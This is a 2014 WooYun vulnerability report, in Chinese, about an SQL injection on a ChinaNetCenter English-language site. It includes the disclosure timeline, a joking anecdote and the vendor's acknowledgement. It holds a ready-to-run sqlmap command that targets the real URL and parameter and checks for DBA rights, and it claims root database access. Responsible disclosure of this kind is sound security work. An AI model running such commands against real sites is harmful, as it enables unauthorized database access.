漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-059233
漏洞标题：网宿科技某站sql注入（root权限）
相关厂商：网宿科技
漏洞作者： Mody
提交时间：2014-05-03 10:42
修复时间：2014-06-17 10:43
公开时间：2014-06-17 10:43
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-05-03： 细节已通知厂商并且等待厂商处理中
2014-05-03： 厂商已经确认，细节仅向厂商公开
2014-05-13： 细节向核心白帽子及相关领域专家公开
2014-05-23： 细节向普通白帽子公开
2014-06-02： 细节向实习白帽子公开
2014-06-17： 细节向公众公开
简要描述：
五一宅在家中，有个妹子发来微信。
妹子：在干嘛？
我：挖洞
妹子：一个人挖？
我：对啊！
妹子：我过去陪你一起挖吧！
我马上关机。擦，想跟老子抢乌云币？
详细说明：
注入地址：
sqlmap -u "http://en.chinanetcenter.com/pages/about-us/i
1-press-release.php?filter=%25&page=1" -p filter --is-dba
漏洞证明：
root权限
数据库
里面有个wordpress的数据库。。。
就不深入拿shell了，大五一的，苦逼挖洞挖到现在
修复方案：
1. 过滤
2. 求给个高点的rank呗
版权声明：转载请注明来源 Mody@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2014-05-03 11:47
厂商回复：
多谢Mody的关注，我们马上处理
最新状态：
2014-05-03：该分站问题已经先处理掉，不涉及业务信息，再次对mody表示感谢:)